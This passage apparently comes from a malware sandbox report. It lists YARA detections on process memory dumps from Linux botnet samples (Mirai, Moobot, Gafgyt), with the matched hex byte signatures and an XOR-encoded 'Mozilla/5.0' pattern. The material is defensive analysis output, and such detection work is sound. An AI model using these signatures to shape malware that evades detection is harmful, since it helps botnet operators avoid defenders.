78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6607.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6444.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7057.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7180.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6546.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6546.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6546.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6546.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6546.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6546.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6385.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6605.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6787.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7000.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6787.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6787.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6787.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6787.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6787.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7092.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7362.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7362.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7362.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7362.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7362.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7362.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6833.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6833.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6833.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6833.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6343.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6343.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6343.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6343.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6343.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 